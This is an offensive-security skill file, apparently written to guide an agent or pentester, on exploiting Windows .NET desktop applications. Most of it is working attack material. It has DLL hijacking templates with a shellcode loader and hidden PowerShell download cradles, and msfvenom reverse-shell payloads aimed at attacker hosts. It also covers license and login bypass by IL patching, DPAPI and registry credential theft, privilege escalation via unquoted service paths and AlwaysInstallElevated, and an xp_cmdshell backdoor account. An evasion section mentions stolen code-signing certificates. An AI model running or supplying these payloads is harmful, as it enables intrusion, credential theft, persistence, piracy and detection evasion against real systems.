---
name: rt-exploit-desktop-win
description: "Windows desktop application exploitation skill. Covers .NET application decompilation with dnSpy/ILSpy (source code recovery, license bypass, credential extraction), DLL hijacking via missing DLL detection with Process Monitor, registry credential storage extraction, cleartext network traffic capture with Wireshark, unquoted service path exploitation, and AlwaysInstallElevated abuse. Targets WinForms, WPF, UWP applications."
---

# rt-exploit-desktop-win — Windows Desktop Application Exploitation

## 1. Overview and When to Use

This skill covers the full attack chain against Windows desktop applications — primarily WinForms, WPF, and UWP apps built on .NET. Desktop apps are often deprioritized in security reviews relative to web apps, yet they routinely expose hardcoded credentials, bypassable license checks, DLL hijacking opportunities, insecure registry storage, and cleartext network traffic.

**Use this skill when:**
- Scope includes a fat client, thick client, or locally installed Windows application
- The target is a .NET binary (identifiable by `.exe` with `mscoree.dll` import or ILDASM output)
- You need to extract credentials from a client that communicates with a backend API or database
- You want privilege escalation via DLL hijacking, unquoted service paths, or AlwaysInstallElevated
- The engagement allows host-based testing (you have a Windows machine running the app)

**Does NOT cover:**
- Pure C/C++ native binary exploitation (shellcode, ROP chains) — use a dedicated pwn skill
- Web proxy exploitation of the app's backend — use `rt-exploit-auth` or `rt-exploit-file-upload`

---

## 2. Prerequisites and Setup

### Operator Machine Requirements
- Windows 10/11 x64 (target machine or analyst VM with app installed)
- Admin rights on the analyst machine for tool installation; not necessarily required on target

### Required Tools

| Tool | Purpose | Download |
|------|---------|----------|
| dnSpy | .NET decompiler + debugger | https://github.com/dnSpy/dnSpy/releases |
| ILSpy | .NET decompiler (CLI-friendly) | https://github.com/icsharpcode/ILSpy |
| ilspycmd | ILSpy command-line interface | `dotnet tool install ilspycmd -g` |
| Process Monitor (Procmon) | DLL/file/registry access tracing | https://learn.microsoft.com/en-us/sysinternals/downloads/procmon |
| Wireshark | Network packet capture | https://www.wireshark.org/download.html |
| Strings (Sysinternals) | Extract printable strings from binary | https://learn.microsoft.com/en-us/sysinternals/downloads/strings |
| CFF Explorer | PE inspection, .NET metadata | https://ntcore.com/?page_id=388 |
| ConfuserEx Unpacker | Deobfuscation of protected .NET | https://github.com/mwsrc/ConfuserEx-Unpacker |
| de4dot | .NET deobfuscator | https://github.com/de4dot/de4dot |
| Msfvenom / CobaltStrike | Malicious DLL generation | (internal) |
| SharpDPAPI | DPAPI credential decryption | https://github.com/GhostPack/SharpDPAPI |
| PowerShell 5.1+ | Registry queries, automation | Built-in |

### Initial Recon of the Binary

```powershell
# Confirm it is a .NET binary
dumpbin /imports TargetApp.exe | findstr mscoree
# or
file TargetApp.exe   # if running under WSL/Cygwin

# Check .NET version targeted
Get-Item TargetApp.exe | Select-Object -ExpandProperty VersionInfo

# Identify architecture (x86 vs x64)
dumpbin /headers TargetApp.exe | findstr "machine"
```

---

## 3. Skill Levels

### BEGINNER — Passive Analysis
- Run Strings against the binary
- Open in dnSpy and browse namespaces
- Check registry for credential keys
- Run Wireshark with basic HTTP filter

### INTERMEDIATE — Active Extraction
- Decompile full source, search for hardcoded secrets
- Use Procmon to identify missing DLLs during app startup
- Craft a malicious DLL and test DLL hijack
- Decrypt DPAPI-stored credentials

### ADVANCED — Logic Bypass and Patching
- Patch IL bytecode in dnSpy to bypass license/auth checks
- Bypass certificate pinning in .NET apps
- Intercept and modify in-memory objects via dnSpy debugger
- Exploit unquoted service paths for persistence

### EXPERT — Full Chain + OPSEC
- Combine DLL hijack with shellcode loader for C2 callback
- Use AlwaysInstallElevated for privilege escalation to SYSTEM
- Abuse DPAPI with stolen masterkey from domain controller
- Evade EDR during DLL hijack with signed proxy DLL

---

## 4. Step-by-Step Numbered Workflow

### Phase 1 — Discovery and Fingerprinting

**Step 1: Identify the binary type**
```powershell
# Check if managed .NET
dumpbin /clrheader TargetApp.exe
# Output "clr header" section confirms .NET managed code

# Alternative: CFF Explorer → "File Type" shows ".NET Executable"
```

**Step 2: Extract strings for quick wins**
```powershell
# Sysinternals strings (filters printable ASCII >= 3 chars)
strings.exe -n 8 TargetApp.exe > strings_output.txt
# Unicode strings
strings.exe -n 8 -u TargetApp.exe >> strings_output.txt

# Search for interesting patterns
Select-String -Path strings_output.txt -Pattern "password|passwd|pwd|secret|apikey|api_key|token|connectionstring|server=|data source=" -CaseSensitive:$false
```

**Step 3: Check for obfuscation**
```powershell
# If dnSpy shows garbled method names like "a()","b()","c()" — obfuscated
# Run de4dot to clean up
de4dot.exe TargetApp.exe -o TargetApp_clean.exe
# de4dot auto-detects: ConfuserEx, Dotfuscator, Babel, SmartAssembly, etc.

# For ConfuserEx specifically
ConfuserEx-Unpacker.exe --input TargetApp.exe --output TargetApp_deobf.exe
```

---

### Phase 2 — .NET Decompilation with dnSpy

**Step 4: Open and navigate in dnSpy**

1. Launch dnSpy (run as admin if app requires elevation)
2. File → Open → select `TargetApp.exe` (and any `.dll` files in the app directory)
3. In the Assembly Explorer panel, expand: `TargetApp → {namespace} → {class}`
4. Search for sensitive classes: Edit → Search Assemblies → search terms:
   - `password`, `credential`, `license`, `validate`, `decrypt`, `config`

**Step 5: Command-line decompilation with ilspycmd**
```bash
# Decompile entire assembly to a folder of .cs files
ilspycmd TargetApp.exe -p -o ./decompiled_src/

# Decompile a single type
ilspycmd TargetApp.exe --type "TargetApp.LicenseManager" -o ./decompiled_src/

# List all types in assembly
ilspycmd TargetApp.exe --list-types
```

**Step 6: Search decompiled source for credentials**
```powershell
# After ilspycmd decompilation
Get-ChildItem -Path ./decompiled_src/ -Recurse -Filter "*.cs" |
  Select-String -Pattern "password|Password|connectionString|ApiKey|secret|hardcoded" |
  Select-Object Filename, LineNumber, Line
```

**Step 7: Common credential patterns in .NET source**
```csharp
// Pattern 1: Hardcoded connection string
string connStr = "Server=10.10.1.5;Database=AppDB;User Id=sa;Password=P@ssw0rd!;";

// Pattern 2: Hardcoded API key
private const string ApiKey = "sk-live-abc123XYZ789...";

// Pattern 3: Encrypted but key is in same assembly
byte[] key = { 0x41, 0x42, 0x43, ... };
string plaintext = Decrypt(ciphertext, key);

// Pattern 4: Registry read (tells you WHERE to look)
string pwd = Registry.GetValue(@"HKEY_CURRENT_USER\Software\TargetApp", "Password", "").ToString();
```

---

### Phase 3 — License and Auth Bypass via IL Patching

**Step 8: Find the license validation method in dnSpy**

1. Search for method names: `IsLicensed`, `ValidateLicense`, `CheckLicense`, `IsRegistered`
2. Look for boolean return methods that gate application features
3. Examine the IL bytecode (right-click method → Edit IL Instructions)

**Step 9: Patch the validation method**

In dnSpy with a method like:
```csharp
public bool IsLicensed(string key)
{
    return key == "CORRECT-KEY-HERE";
}
```

Patch approach in dnSpy:
1. Right-click the method → Edit Method (C#)
2. Change body to: `return true;`
3. Click Compile → File → Save Module
4. The patched EXE now always returns licensed=true

**Alternative IL-level patch:**
```
// Original IL:
// IL_0000: ldarg.1
// IL_0001: ldstr "CORRECT-KEY-HERE"
// IL_0006: call bool [mscorlib]System.String::op_Equality(string, string)
// IL_000b: ret

// Patched IL (always returns true):
// IL_0000: ldc.i4.1
// IL_0001: ret
```

**Step 10: Bypass authentication check (login form)**
```csharp
// Find method like:
private bool AuthenticateUser(string username, string password)
{
    // calls API or checks hash
    return _authService.Validate(username, password);
}

// Patch to:
private bool AuthenticateUser(string username, string password)
{
    return true;
}
```

---

### Phase 4 — DLL Hijacking via Process Monitor

**Step 11: Configure Procmon filter for DLL loading**

1. Launch Procmon as Administrator
2. Filter → Filter (Ctrl+L), add these filters:
   - `Process Name is TargetApp.exe` → Include
   - `Operation is Load Image` → Include
   - `Result is NAME NOT FOUND` → Include
   - `Path ends with .dll` → Include
3. Clear the current capture (Ctrl+X)
4. Launch `TargetApp.exe`
5. Interact with all app features (login, open dialogs, use menus)
6. Stop capture in Procmon

**Step 12: Identify hijackable DLL paths**
```
# Procmon will show entries like:
# Process: TargetApp.exe  Operation: Load Image  Path: C:\Users\user\AppData\Local\TargetApp\version.dll  Result: NAME NOT FOUND

# Hijackable if:
# 1. The missing DLL is in a user-writable directory
# 2. The directory comes before a system directory in the DLL search order
# 3. No manifest or absolute path is specified
```

**DLL Search Order (Windows default):**
1. The directory of the application EXE
2. The system directory (`C:\Windows\System32`)
3. The 16-bit system directory (`C:\Windows\System`)
4. The Windows directory (`C:\Windows`)
5. The current directory
6. Directories listed in the `PATH` environment variable

**Step 13: Verify write permission on target directory**
```powershell
# Check ACL on the directory where the missing DLL should be placed
$targetDir = "C:\Users\user\AppData\Local\TargetApp"
(Get-Acl $targetDir).Access | Format-Table IdentityReference, FileSystemRights, AccessControlType

# Quick write test
New-Item -Path "$targetDir\test_write.tmp" -ItemType File -ErrorAction SilentlyContinue
if (Test-Path "$targetDir\test_write.tmp") {
    Remove-Item "$targetDir\test_write.tmp"
    Write-Host "[+] Directory is writable — DLL hijack viable"
}
```

---

### Phase 5 — Malicious DLL Creation

**Step 14: Minimal proxy DLL (C++ template)**

```cpp
// hijack.cpp — Compile as DLL targeting same architecture as app
#include <windows.h>

// DLL entry point — executes payload on load
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        // Option A: Execute calc.exe as proof of concept
        WinExec("calc.exe", SW_HIDE);

        // Option B: Reverse shell via PowerShell
        // WinExec("powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')\"", SW_HIDE);

        // Option C: Load shellcode from file
        // (see shellcode loader template below)
    }
    return TRUE;
}

// Export a dummy function matching the legitimate DLL's export
// (Required if the app imports a specific function by name)
extern "C" __declspec(dllexport) void TargetFunctionName() { return; }
```

**Compile:**
```bash
# x64
x86_64-w64-mingw32-g++ -shared -o version.dll hijack.cpp -lws2_32

# x86
i686-w64-mingw32-g++ -shared -o version.dll hijack.cpp -lws2_32

# On Windows with MSVC (Developer Command Prompt)
cl /LD hijack.cpp /Fe:version.dll
```

**Step 15: Shellcode loader DLL template**
```cpp
// shellcode_loader.cpp
#include <windows.h>

// Replace with your shellcode bytes (msfvenom or CobaltStrike)
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0,  // ... truncated for brevity
};

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);

        LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
                                  MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (mem)
        {
            memcpy(mem, shellcode, sizeof(shellcode));
            HANDLE hThread = CreateThread(NULL, 0,
                                          (LPTHREAD_START_ROUTINE)mem,
                                          NULL, 0, NULL);
            if (hThread) CloseHandle(hThread);
        }
    }
    return TRUE;
}
```

**Generate shellcode with msfvenom:**
```bash
# Staged reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.99 LPORT=4444 \
  -f c -o shellcode.c

# Stageless (better for restricted networks)
msfvenom -p windows/x64/meterpreter_reverse_https \
  LHOST=10.10.10.99 LPORT=443 \
  -f c -o shellcode.c
```

---

### Phase 6 — Registry Credential Extraction

**Step 16: Search common registry locations**
```powershell
# Application-specific hives
$appName = "TargetApp"

# HKCU user settings
Get-ChildItem "HKCU:\Software\$appName" -Recurse -ErrorAction SilentlyContinue |
  Get-ItemProperty | Select-Object PSPath, *

# HKLM machine-wide settings
Get-ChildItem "HKLM:\Software\$appName" -Recurse -ErrorAction SilentlyContinue |
  Get-ItemProperty | Select-Object PSPath, *

# 32-bit app on 64-bit OS (stored in Wow6432Node)
Get-ChildItem "HKLM:\Software\Wow6432Node\$appName" -Recurse -ErrorAction SilentlyContinue |
  Get-ItemProperty | Select-Object PSPath, *

# Search ALL of HKCU for password-related value names
$searchTerms = @("password","passwd","pwd","secret","credential","token","apikey","key")
foreach ($term in $searchTerms) {
    Get-ChildItem -Path "HKCU:\" -Recurse -ErrorAction SilentlyContinue |
      Where-Object { $_.Property -match $term } |
      ForEach-Object {
          $path = $_.PSPath
          $_.Property | Where-Object { $_ -match $term } |
            ForEach-Object { Write-Host "[+] $path :: $_ = $(Get-ItemPropertyValue -Path $path -Name $_ -ErrorAction SilentlyContinue)" }
      }
}
```

**Step 17: Decrypt DPAPI-encrypted registry values**
```powershell
# DPAPI blobs appear as binary REG_BINARY values
# Check if value is DPAPI: starts with 01 00 00 00 D0 8C 9D DF...

# Read raw bytes
$blob = (Get-ItemProperty "HKCU:\Software\TargetApp" -Name "Password").Password

# Decrypt using CryptUnprotectData (PowerShell one-liner)
Add-Type -AssemblyName System.Security
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $blob, $null,
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
[System.Text.Encoding]::Unicode.GetString($decrypted)

# Alternatively, use SharpDPAPI (works cross-user with domain backup key)
SharpDPAPI.exe blob /target:C:\extracted_blob.bin
```

---

### Phase 7 — Network Traffic Analysis with Wireshark

**Step 18: Capture app traffic**
```bash
# Start capture on loopback + Ethernet adapter
# Find adapter name:
tshark -D

# Start capture filtering to app process (Windows: use npcap with process filtering)
tshark -i "Ethernet" -w capture.pcapng

# Or launch Wireshark GUI, select the adapter, start capture
# Then launch TargetApp.exe and interact fully
```

**Step 19: Wireshark display filters for common app traffic**
```
# HTTP cleartext (credentials in POST body)
http.request.method == "POST"

# Filter by destination IP (if you know the backend server)
ip.dst == 10.10.1.5

# Find HTTP Basic Auth headers
http.authorization

# HTTP with credentials in URL
http.request.uri contains "password" or http.request.uri contains "token"

# TLS — check for weak versions (1.0/1.1) or self-signed certs
tls.handshake.type == 1

# Find plaintext passwords in any TCP stream
tcp contains "password"
tcp contains "Password"

# Application-specific: find JSON tokens
frame contains "\"token\""
frame contains "Bearer "

# DNS queries from the app (reveals backend hostnames)
dns.qry.name contains "targetapp"
```

**Step 20: Reconstruct HTTP sessions**
```bash
# Export HTTP objects (files, JSON responses) from capture
tshark -r capture.pcapng --export-objects http,./http_objects/

# Follow TCP stream in tshark
tshark -r capture.pcapng -q -z follow,tcp,ascii,0

# Extract credentials from POST bodies
tshark -r capture.pcapng -Y "http.request.method==POST" -T fields \
  -e http.host -e http.request.uri -e http.file_data
```

**Step 21: Bypass certificate pinning (if HTTPS)**
```powershell
# Method 1: Patch the certificate validation in dnSpy
# Find: ServicePointManager.ServerCertificateValidationCallback
# Or: X509Certificate2 validation methods
# Patch to always return true

# Method 2: Inject Frida to hook certificate validation
frida -p (Get-Process TargetApp).Id -l bypass_pinning.js

# Method 3: Use Proxifier to redirect traffic + Burp with custom CA
# Install Burp CA in Windows cert store:
certutil -addstore Root burp_ca.der
```

---

### Phase 8 — Privilege Escalation Techniques

**Step 22: Unquoted Service Path Exploitation**
```powershell
# Find services with unquoted paths containing spaces
Get-WmiObject Win32_Service |
  Where-Object { $_.PathName -notmatch '"' -and $_.PathName -match ' ' } |
  Select-Object Name, PathName, StartMode, StartName

# Example vulnerable path:
# C:\Program Files\Target App\bin\service.exe
# Windows tries these in order:
#   C:\Program.exe
#   C:\Program Files\Target.exe
#   C:\Program Files\Target App\bin\service.exe  ← legitimate

# Place malicious binary at the first writable path:
# Check if C:\Program Files\Target.exe location is writable
icacls "C:\Program Files" | findstr "BUILTIN\Users"

# Generate malicious service binary
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.99 LPORT=4444 \
  -f exe -o "Target.exe"

# Copy to unquoted path location
Copy-Item Target.exe "C:\Program Files\Target.exe"

# Restart the service (if you have permission) or wait for reboot
Restart-Service -Name "TargetService" -Force
```

**Step 23: AlwaysInstallElevated Abuse**
```powershell
# Check if both registry keys are set to 1 (required for exploitation)
$hkcu = Get-ItemPropertyValue "HKCU:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
$hklm = Get-ItemPropertyValue "HKLM:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue

if ($hkcu -eq 1 -and $hklm -eq 1) {
    Write-Host "[VULN] AlwaysInstallElevated is enabled — MSI runs as SYSTEM"
}

# Generate malicious MSI
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.99 LPORT=4444 \
  -f msi -o evil.msi

# Install with elevated privileges (no UAC prompt)
msiexec /quiet /qn /i evil.msi
```

---

## 5. Real-World Attack Scenarios

### Scenario 1 — Enterprise ERP Thick Client: Credential Extraction and DB Compromise

**Target:** A WinForms-based ERP application connecting to SQL Server.

**Situation:** You have a standard domain user account and the ERP client installed.

**Attack chain:**

1. Run `strings.exe -n 8 ErpClient.exe | findstr -i "server=\|data source="` → finds `Server=10.0.1.10;Database=ERP_Prod;User Id=erpapp;Password=ERP_Pass_2023!`
2. Attempt direct SQL Server connection with extracted credentials
3. Enumerate: `SELECT name FROM sys.databases` → find sensitive tables
4. `SELECT TOP 100 * FROM HR.Employees` → PII extraction complete
5. If SA account: `EXEC xp_cmdshell 'whoami'` → OS command execution

**Commands:**
```powershell
# Step 1
strings.exe -n 8 "C:\Program Files\ERPClient\ErpClient.exe" | Select-String "server=|data source=" -CaseSensitive:$false

# Step 2 - connect with sqlcmd
sqlcmd -S 10.0.1.10 -d ERP_Prod -U erpapp -P "ERP_Pass_2023!" -Q "SELECT name FROM sys.databases"

# Step 3 - if SA
sqlcmd -S 10.0.1.10 -U sa -P "extracted_sa_pass" -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
sqlcmd -S 10.0.1.10 -U sa -P "extracted_sa_pass" -Q "EXEC xp_cmdshell 'net user backdoor P@ss123 /add && net localgroup administrators backdoor /add'"
```

---

### Scenario 2 — License Bypass and Feature Unlock for Proprietary Tool

**Target:** A commercial WPF application with a subscription license gate.

**Situation:** Client provided the installer but not a valid license, wants you to assess what an attacker who bypasses the license could access.

**Attack chain:**

1. Install and launch app — license dialog appears
2. Open in dnSpy → search for `IsLicensed` → find `LicenseManager.ValidateKey(string key)`
3. Examine: method calls an external HTTPS endpoint and checks JSON response `{"valid": true}`
4. Two options:
   - **Patch method** to always return true (offline bypass)
   - **Intercept with Wireshark/Burp**, replay response with `{"valid": true}`
5. After bypass: access to admin features, data export, raw API calls

**Patch in dnSpy:**
```csharp
// Original
public bool ValidateKey(string key)
{
    var response = _httpClient.GetAsync($"https://license.vendor.com/api/v1/validate?key={key}").Result;
    var json = response.Content.ReadAsStringAsync().Result;
    return JsonConvert.DeserializeObject<LicenseResponse>(json).Valid;
}

// Patched
public bool ValidateKey(string key)
{
    return true;
}
```

---

### Scenario 3 — DLL Hijacking for Persistence on a Managed Endpoint

**Target:** A software update utility that runs at user login and is missing `version.dll`.

**Situation:** You have local user (non-admin) access. Need persistence without triggering UAC.

**Attack chain:**

1. Procmon filter: `Process Name is UpdateUtil.exe` + `Result is NAME NOT FOUND` + `Path ends with .dll`
2. Procmon shows: `C:\Users\jsmith\AppData\Local\TargetApp\version.dll — NAME NOT FOUND`
3. Verify writable: `icacls "C:\Users\jsmith\AppData\Local\TargetApp"` → `jsmith:(F)` (full control)
4. Generate malicious DLL: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f dll -o version.dll`
5. Place DLL: `Copy-Item version.dll "C:\Users\jsmith\AppData\Local\TargetApp\version.dll"`
6. Wait for user login / app restart → shell received on attacker C2
7. Session persists every login

**Commands:**
```powershell
# Generate DLL payload
msfvenom -p windows/x64/meterpreter/reverse_https `
  LHOST=attacker.c2domain.com LPORT=443 `
  -f dll -o version.dll

# Deploy
Copy-Item .\version.dll "C:\Users\$env:USERNAME\AppData\Local\TargetApp\version.dll"

# Verify
Get-Item "C:\Users\$env:USERNAME\AppData\Local\TargetApp\version.dll" | Select-Object Name, Length, LastWriteTime
```

---

## 6. Payload Examples with Explanations

### Malicious DLL — Exports Matching Legitimate DLL (Proxy DLL)

When an app imports specific exports from the hijacked DLL, the app will crash without them. Use a proxy DLL that forwards calls to the real system DLL while also executing your payload.

```cpp
// proxy_version.cpp
// Exports matching version.dll's real exports, forwarding to system copy
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA")
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA")
#pragma comment(linker, "/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA")
#pragma comment(linker, "/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        // Your payload here — runs transparently while app continues normally
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)[](LPVOID) -> DWORD {
            WinExec("powershell -nop -w h -enc BASE64_ENCODED_PAYLOAD", SW_HIDE);
            return 0;
        }, NULL, 0, NULL);
    }
    return TRUE;
}
```

### PowerShell Base64 Payload Encoder
```powershell
# Encode your command for use in -enc parameter
$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.99/stage2.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host "powershell -nop -w hidden -enc $encoded"
```

---

## 7. Tool Commands Reference

### dnSpy

```
dnSpy.exe [file.exe]               # Open assembly
# Inside dnSpy:
# Ctrl+Shift+K = Search assemblies
# F9           = Toggle breakpoint
# F5           = Start debugging
# Ctrl+Break   = Pause debugging
# Right-click method → Edit Method (C#) = patch source
# Right-click method → Edit IL Instructions = patch IL bytecode
# File → Save All = save patched assembly
```

### ilspycmd (Command Line)
```bash
ilspycmd app.exe                          # Decompile to stdout
ilspycmd app.exe -p -o ./src/            # Project mode (creates .csproj)
ilspycmd app.exe --list-types            # List all types
ilspycmd app.exe --type "Namespace.Class" # Decompile single class
ilspycmd app.exe --method "Namespace.Class.Method" # Single method
ilspycmd app.exe -lv CSharp10_0         # Target language version
```

### de4dot (Deobfuscation)
```bash
de4dot.exe app.exe                       # Auto-detect and deobfuscate
de4dot.exe app.exe -o clean.exe          # Output to specific file
de4dot.exe app.exe --un-name "!^[a-zA-Z]\w*$"  # Rename obfuscated symbols
de4dot.exe app.exe --keep-types          # Preserve type names
de4dot.exe --list-obfuscators           # List supported obfuscators
```

### Procmon (Process Monitor)
```
Procmon.exe /Quiet /Minimized /BackingFile C:\temp\capture.PML   # Headless capture
Procmon.exe /OpenLog C:\temp\capture.PML                          # Open saved log
# Filters via command line:
Procmon.exe /FilterRecords /Filter "ProcessName,is,TargetApp.exe,include"
```

### Wireshark / tshark
```bash
tshark -D                                          # List interfaces
tshark -i 1 -w out.pcapng                         # Capture on interface 1
tshark -r out.pcapng -Y "http"                    # Read + display filter
tshark -r out.pcapng -T fields -e http.file_data  # Extract field values
tshark -r out.pcapng -q -z io,stat,1              # Statistics
tshark -r out.pcapng --export-objects http,./dir  # Export HTTP objects
```

### Strings (Sysinternals)
```powershell
strings.exe app.exe                 # ASCII strings (default min length 3)
strings.exe -n 8 app.exe           # Minimum length 8
strings.exe -u app.exe             # Unicode strings
strings.exe -s app.exe             # Include strings in data sections only
strings.exe -a app.exe             # Scan entire file (not just printable sections)
```

---

## 8. Detection and OPSEC Considerations

### What Defenders Will See

| Your Action | Defender Artifact |
|-------------|------------------|
| Strings.exe against binary | File access event on binary (ETW) |
| dnSpy decompilation | File read of target EXE |
| Procmon capture | Procmon process creation event |
| DLL placed in app directory | File creation event in app folder |
| DLL loaded by app | Image Load event (Sysmon Event ID 7) |
| Msfvenom DLL executed | Network connection + malicious DLL hash (Sysmon Event ID 3) |
| Registry credential read | Registry access event (Sysmon Event ID 13) |
| AlwaysInstallElevated abuse | MSI execution event, SYSTEM-level process creation |

### OPSEC Mitigations

**DLL Hijacking:**
- Use a signed proxy DLL compiled with a code-signing certificate (or stolen cert) to avoid hash-based detection
- Avoid VirtualAlloc + memcpy + CreateThread pattern — use indirect shellcode execution or process injection from the DLL
- Name your DLL exactly as expected — any difference triggers Sysmon alerts
- Test against AMSI/Defender in a sandbox before deploying on target

**Binary Analysis:**
- Perform analysis on your own machine, not the target — avoids triggering endpoint DLP on decompilation tools
- If you must analyze on target: use portable tools from USB, avoid writing decompiled files to disk

**Network Capture:**
- Avoid Wireshark GUI on target — use `netsh trace start capture=yes` for built-in Windows capture:
  ```powershell
  netsh trace start capture=yes tracefile=C:\temp\net.etl maxsize=256
  # ... interact with app ...
  netsh trace stop
  # Convert with: Microsoft Message Analyzer (offline) or pktmon
  pktmon start --capture --comp nics
  pktmon stop
  pktmon etl2pcap pktmon.etl
  ```

**Registry Access:**
- Use PowerShell with `-ErrorAction SilentlyContinue` to avoid noisy error events
- Read registry offline if you have a disk image: `reg load HKLM\OFFLINE C:\path\to\SYSTEM`

**AlwaysInstallElevated:**
- MSI execution is heavily logged; prefer DLL hijack if available
- If using MSI: sign the MSI file, use a convincing product name

---

## 9. Output and Documentation

### Evidence Collection Template

For each finding, document:

```
FINDING: [e.g., Hardcoded SQL Server credentials in ERP client]
Severity: Critical / High / Medium / Low
CWE: CWE-798 (Use of Hard-coded Credentials)
CVSSv3: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

Location: C:\Program Files\ERPClient\ErpClient.exe
Method: Static analysis via ilspycmd + strings.exe

Evidence:
  File: ErpClient.exe
  Class: DataAccess.DatabaseConnector
  Method: GetConnection()
  Line: 42
  Content: "Server=10.0.1.10;Database=ERP_Prod;User Id=erpapp;Password=ERP_Pass_2023!"

Impact: Any user with access to the ERP client binary can extract
        SQL Server credentials and directly query the production database.

Reproduction:
  1. strings.exe -n 8 ErpClient.exe | findstr /i "server="
  2. sqlcmd -S 10.0.1.10 -U erpapp -P "ERP_Pass_2023!" -Q "SELECT TOP 1 * FROM HR.Employees"

Remediation:
  - Store connection strings encrypted using DPAPI or Windows Credential Manager
  - Use Windows Authentication (Kerberos) instead of SQL authentication
  - Implement the principle of least privilege on the SQL account
```

### Artifacts to Capture for Report
- Screenshots of dnSpy showing vulnerable code with highlighted lines
- Procmon CSV export filtered to `NAME NOT FOUND` DLL events
- Wireshark screenshot showing cleartext credentials in packet
- Registry export (`reg export "HKCU\Software\TargetApp" evidence.reg`)
- Strings output grep showing hardcoded secrets
- Video recording of exploitation chain for high-severity findings

### Recommended Report Structure
1. Executive Summary — business impact
2. Technical Findings — each with CVSS, evidence, reproduction steps
3. Appendix — raw tool output, packet captures (redacted PII), patched vs. original IL

---

## 10. Resources and References

### Primary Tools
- dnSpy: https://github.com/dnSpy/dnSpy
- ILSpy / ilspycmd: https://github.com/icsharpcode/ILSpy
- de4dot: https://github.com/de4dot/de4dot
- ConfuserEx Unpacker: https://github.com/mwsrc/ConfuserEx-Unpacker
- Sysinternals Suite (Procmon, Strings, etc.): https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
- SharpDPAPI: https://github.com/GhostPack/SharpDPAPI
- CFF Explorer: https://ntcore.com/?page_id=388

### Technique References
- DLL Hijacking (MITRE ATT&CK T1574.001): https://attack.mitre.org/techniques/T1574/001/
- Unquoted Service Path (T1574.009): https://attack.mitre.org/techniques/T1574/009/
- AlwaysInstallElevated (T1548.002): https://attack.mitre.org/techniques/T1548/002/
- DPAPI Abuse (T1555.004): https://attack.mitre.org/techniques/T1555/004/
- Obfuscated Files (T1027): https://attack.mitre.org/techniques/T1027/

### Guides and Write-ups
- DLL Hijacking deep dive: https://github.com/wietze/windows-dll-hijacking
- Hijackable DLLs list: https://github.com/wietze/windows-dll-hijacking/blob/master/dll_hijacking_candidates.csv
- .NET security assessment guide: https://github.com/NetSPI/NetSPIBlog/blob/master/DotNetSecurityCheatSheet.md
- Frida for .NET: https://frida.re/docs/quickstart/
- Practical DLL Hijacking: https://itm4n.github.io/windows-dll-hijacking-clarified/
- Windows privilege escalation checklist: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

### .NET Decompilation and Patching
- ILSpy documentation: https://github.com/icsharpcode/ILSpy/wiki
- dnSpy wiki: https://github.com/dnSpy/dnSpy/wiki
- IL instruction reference: https://en.wikipedia.org/wiki/List_of_CIL_instructions
- .NET metadata format: https://docs.microsoft.com/en-us/dotnet/standard/metadata-format

### Proxy DLL Templates
- DLL Export Viewer: https://www.nirsoft.net/utils/dll_export_viewer.html
- SharpDllProxy (auto-generate proxy DLLs): https://github.com/Flangvik/SharpDllProxy
- DLL Hijack example templates: https://github.com/tothi/dll-hijack-by-proxying

---

